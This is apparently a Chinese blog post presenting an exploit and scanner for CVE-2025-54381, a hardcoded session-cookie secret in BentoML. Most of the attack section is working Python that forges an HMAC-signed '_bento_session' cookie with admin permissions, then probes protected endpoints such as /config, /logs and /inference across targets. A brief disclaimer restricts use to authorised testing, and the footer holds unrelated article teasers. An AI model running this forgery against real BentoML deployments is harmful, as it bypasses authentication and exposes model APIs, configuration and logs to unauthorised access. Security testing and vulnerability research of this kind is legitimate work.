news 2026/6/10 12:47:01

BentoML会话Cookie漏洞(CVE-2025-54381)分析工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BentoML会话Cookie漏洞(CVE-2025-54381)分析工具

BentoML会话Cookie漏洞(CVE-2025-54381)分析工具

项目描述

本工具用于分析和复现BentoML框架中的关键安全漏洞(CVE-2025-54381)。该漏洞存在于BentoML版本0.15.0及更早版本中,由于使用硬编码的会话cookie密钥(_bento_session),攻击者可以生成有效的会话令牌,从而绕过身份验证机制直接访问受保护的API端点。这个漏洞特别危险,因为它允许未经授权的用户访问机器学习模型推理、管理接口等敏感功能。

功能特性

  • 漏洞检测:自动检测目标BentoML实例是否存在CVE-2025-54381漏洞
  • 会话伪造:利用硬编码密钥生成有效的会话cookie
  • API端点扫描:识别可访问的受保护API端点
  • POC生成:提供完整的漏洞验证代码
  • 批量检测:支持对多个目标进行批量漏洞扫描
  • 报告生成:自动生成详细的安全评估报告

安装指南

环境要求

  • Python 3.7或更高版本
  • 网络访问权限
  • 基本的Python环境

安装步骤

  1. 克隆项目代码到本地:

    gitclone https://github.com/username/bentoml_CVE-2025-54381.gitcdbentoml_CVE-2025-54381
  2. 安装必要的依赖:

    pipinstall-r requirements.txt
  3. 确保Python环境已正确配置,可以直接运行脚本:

    python exploit_bentoml.py

使用说明

基础使用示例

以下是使用该工具检测BentoML漏洞的基本示例:

# 导入必要的模块importrequestsimporthashlibimportjsonimportbase64# 设置目标URL和硬编码密钥URL="http://127.0.0.1:5000"SECRET_KEY=b"please_change_this"# 生成会话cookie的函数defgenerate_session_cookie(data):# 对数据进行序列化和编码data_json=json.dumps(data,separators=(',',':'))data_encoded=base64.b64encode(data_json.encode('utf-8')).decode('utf-8')# 计算HMAC签名importhmac signature=hmac.new(SECRET_KEY,data_encoded.encode('utf-8'),hashlib.sha256).hexdigest()# 返回完整的会话cookiereturnf"{data_encoded}.{signature}"# 检查API可访问性defcheck_access(session_cookie):headers={'Cookie':f'_bento_session={session_cookie}'}# 尝试访问需要认证的端点endpoints=["/metrics",# 监控指标"/healthz",# 健康检查"/apis",# API列表"/config",# 配置信息"/logs"# 日志文件]accessible_endpoints=[]forendpointinendpoints:try:response=requests.get(f"{URL}{endpoint}",headers=headers,timeout=5)ifresponse.status_code==200:accessible_endpoints.append(endpoint)print(f"✓ 成功访问:{endpoint}")print(f" 响应内容:{response.text[:200]}...")else:print(f"✗ 无法访问:{endpoint}(状态码:{response.status_code})")exceptExceptionase:print(f"✗ 访问错误:{endpoint}-{str(e)}")returnaccessible_endpoints# 主函数defmain():print("开始检测BentoML CVE-2025-54381漏洞...")print(f"目标URL:{URL}")# 生成会话数据session_data={"user_id":"attacker","expires":"2099-12-31T23:59:59Z","permissions":["admin","inference","monitoring"]}# 生成会话cookiesession_cookie=generate_session_cookie(session_data)print(f"生成的会话Cookie:{session_cookie[:50]}...")# 检查API访问print("\n尝试访问受保护的API端点:")accessible=check_access(session_cookie)# 输出结果ifaccessible:print(f"\n⚠️ 漏洞确认!成功访问了{len(accessible)}个受保护的端点")print("受影响的端点:")forendpointinaccessible:print(f" -{endpoint}")else:print("\n✅ 目标可能已修复此漏洞或使用了不同的配置")if__name__=="__main__":main()

典型使用场景

  1. 安全审计:渗透测试人员可以使用此工具检查BentoML部署的安全性
  2. 漏洞验证:安全团队验证CVE-2025-54381漏洞的存在和影响
  3. 教育研究:学习Web安全中的会话管理漏洞
  4. 红队演练:在授权范围内进行安全攻击模拟

核心代码

1. 会话Cookie生成器

defgenerate_bentoml_session():""" 生成BentoML的有效会话cookie 利用硬编码的密钥生成可以绕过认证的会话令牌 """importhmacimporthashlibimportjsonimportbase64fromdatetimeimportdatetime,timedelta# 硬编码的密钥(BentoML 0.15.0及更早版本的默认值)SECRET_KEY=b"please_change_this"# 构造会话数据session_data={"user_id":"anonymous","created":datetime.utcnow().isoformat()+"Z","expires":(datetime.utcnow()+timedelta(days=365)).isoformat()+"Z","csrf_token":"exploit_token","permissions":["read","write","admin","inference","metrics"],"authed":True,"session_id":"exploit_session_"+hashlib.md5(b"exploit").hexdigest()[:16]}# 序列化和编码数据data_json=json.dumps(session_data,separators=(',',':'))data_encoded=base64.b64encode(data_json.encode('utf-8')).decode('utf-8')# 计算HMAC-SHA256签名signature=hmac.new(SECRET_KEY,data_encoded.encode('utf-8'),hashlib.sha256).hexdigest()# 构建完整的会话cookiesession_cookie=f"_bento_session={data_encoded}.{signature}"returnsession_cookie,session_data

2. API端点检测器

classBentomlVulnerabilityScanner:""" BentoML漏洞扫描器类 用于检测和验证CVE-2025-54381漏洞 """def__init__(self,target_url):""" 初始化扫描器 :param target_url: 目标BentoML实例的URL """self.target_url=target_url.rstrip('/')self.vulnerable=Falseself.accessible_endpoints=[]self.session_cookie=Nonedeftest_vulnerability(self):""" 测试目标是否存在CVE-2025-54381漏洞 :return: 布尔值表示是否易受攻击 """try:# 首先生成一个有效的会话cookiesession_cookie,_=generate_bentoml_session()self.session_cookie=session_cookie# 定义需要测试的端点test_endpoints=[("/metrics","GET"),# 监控指标("/healthz","GET"),# 健康检查("/apis","GET"),# API列表("/docs","GET"),# API文档("/config","GET"),# 配置信息("/logs","GET"),# 日志访问("/inference","POST"),# 推理接口(可能需要POST)]headers={'Cookie':session_cookie,'User-Agent':'BentoML-CVE-Scanner/1.0','Accept':'application/json'}# 测试每个端点forendpoint,methodintest_endpoints:try:ifmethod=="GET":response=requests.get(f"{self.target_url}{endpoint}",headers=headers,timeout=10,verify=False# 对于自签名证书)else:# 对于POST请求,发送空的JSON数据response=requests.post(f"{self.target_url}{endpoint}",headers=headers,json={},timeout=10,verify=False)# 检查响应ifresponse.status_code==200:self.accessible_endpoints.append({'endpoint':endpoint,'method':method,'status':response.status_code,'length':len(response.content)})self.vulnerable=Trueexceptrequests.exceptions.RequestExceptionase:continuereturnself.vulnerableexceptExceptionase:print(f"测试过程中发生错误:{str(e)}")returnFalsedefgenerate_report(self):""" 生成漏洞报告 :return: 格式化的报告字符串 """report=[]report.append("="*60)report.append("BentoML CVE-2025-54381 漏洞扫描报告")report.append("="*60)report.append(f"目标URL:{self.target_url}")report.append(f"扫描时间:{datetime.now().isoformat()}")report.append(f"漏洞状态:{'易受攻击'ifself.vulnerableelse'安全'}")ifself.vulnerable:report.append(f"\n发现的易受攻击端点 ({len(self.accessible_endpoints)}个):")forendpoint_infoinself.accessible_endpoints:report.append(f"{endpoint_info['method']}{endpoint_info['endpoint']}"f"(状态:{endpoint_info['status']}, "f"大小:{endpoint_info['length']}字节)")report.append("\n⚠️ 安全建议:")report.append(" 1. 立即升级到BentoML 0.15.1或更高版本")report.append(" 2. 更改默认的会话密钥配置")report.append(" 3. 添加额外的认证层")report.append(" 4. 限制API端点的网络访问")return"\n".join(report)

3. 漏洞验证脚本

#!/usr/bin/env python3""" BentoML CVE-2025-54381 漏洞验证脚本 用于验证目标是否受到此漏洞影响 """importsysimportargparsefromscannerimportBentomlVulnerabilityScannerdefmain():parser=argparse.ArgumentParser(description='BentoML CVE-2025-54381 漏洞验证工具',formatter_class=argparse.RawDescriptionHelpFormatter)parser.add_argument('target',help='目标BentoML实例的URL(例如:http://localhost:5000)')parser.add_argument('-o','--output',help='将报告保存到指定文件',default=None)args=parser.parse_args()print(f"[*] 开始扫描目标:{args.target}")print(f"[*] 检测CVE-2025-54381漏洞...")# 创建扫描器实例scanner=BentomlVulnerabilityScanner(args.target)# 执行漏洞测试is_vulnerable=scanner.test_vulnerability()# 生成报告report=scanner.generate_report()# 输出报告print("\n"+report)ifargs.output:withopen(args.output,'w')asf:f.write(report)print(f"[*] 报告已保存到:{args.output}")# 根据漏洞状态退出sys.exit(0ifnotis_vulnerableelse1)if__name__=="__main__":main()

这些核心代码展示了如何利用CVE-2025-54381漏洞的原理,包括会话cookie的生成、API端点的检测以及漏洞验证的完整流程。请注意,这些代码仅用于合法的安全测试和教育目的。
6HFtX5dABrKlqXeO5PUv/1qtNjcyD7/e/i8AHyzhu2SK79T7e/QSTfQdQb5Bjq/7
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 23:41:25

FSMN VAD端口冲突怎么办?7860端口占用解决方法汇总

FSMN VAD端口冲突怎么办?7860端口占用解决方法汇总 1. FSMN VAD阿里开源的语音活动检测模型 构建by科哥 FSMN VAD是基于阿里达摩院FunASR项目开发的一款高精度语音活动检测(Voice Activity Detection, VAD)模型,能够精准识别音频…

作者头像 李华
网站建设 2026/6/10 11:54:02

为什么你的dify集群总宕机?揭秘生产环境5大常见陷阱

第一章:dify 生产环境高可用集群部署方案 在构建面向生产环境的 Dify 应用时,高可用性与弹性扩展能力是核心诉求。为确保服务持续稳定运行,建议采用基于 Kubernetes 的容器化部署架构,结合负载均衡、多副本策略与持久化存储实现集…

作者头像 李华
网站建设 2026/5/17 9:11:26

【GitHub协作开发必修课】:MCP Server一键发布实战全解析

第一章:MCP Server发布到GitHub的核心价值 将MCP Server项目发布至GitHub不仅是代码托管的简单操作,更承载着协作开放、透明迭代与生态共建的深层意义。通过公开源码,开发者社区能够参与功能优化、安全审计与文档完善,形成去中心化…

作者头像 李华
网站建设 2026/6/10 11:53:13

什么是等保密评?哪款SSL证书满足等保密评需求?怎么快速申请使用?

等保密评介绍 等保:这是我国网络安全的基本制度,对国家重要信息、法人和其他组织及公民的专有信息以及公开信息,还有存储、传输、处理这些信息的信息系统,分等级实行安全保护。 对信息系统中使用的信息安全产品实行按等级管理&…

作者头像 李华
网站建设 2026/6/9 22:25:12

灰狼优化算法(GWO)改进LightGBM - 光伏功率预测附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。 🍎 往期回顾关注个人主页:Matlab科研工作室 👇 关注我领取海量matlab电子书和数学建模资料 &#…

作者头像 李华
网站建设 2026/6/10 11:57:47

Unsloth开源框架部署教程:快速上手Gemma/LLaMA微调详细步骤

Unsloth开源框架部署教程:快速上手Gemma/LLaMA微调详细步骤 你是否还在为大模型微调时显存占用高、训练速度慢而烦恼?有没有一种方法能让 LLaMA、Gemma 这类主流大模型的微调效率提升一倍,同时把 GPU 显存消耗砍掉七成?答案是&am…

作者头像 李华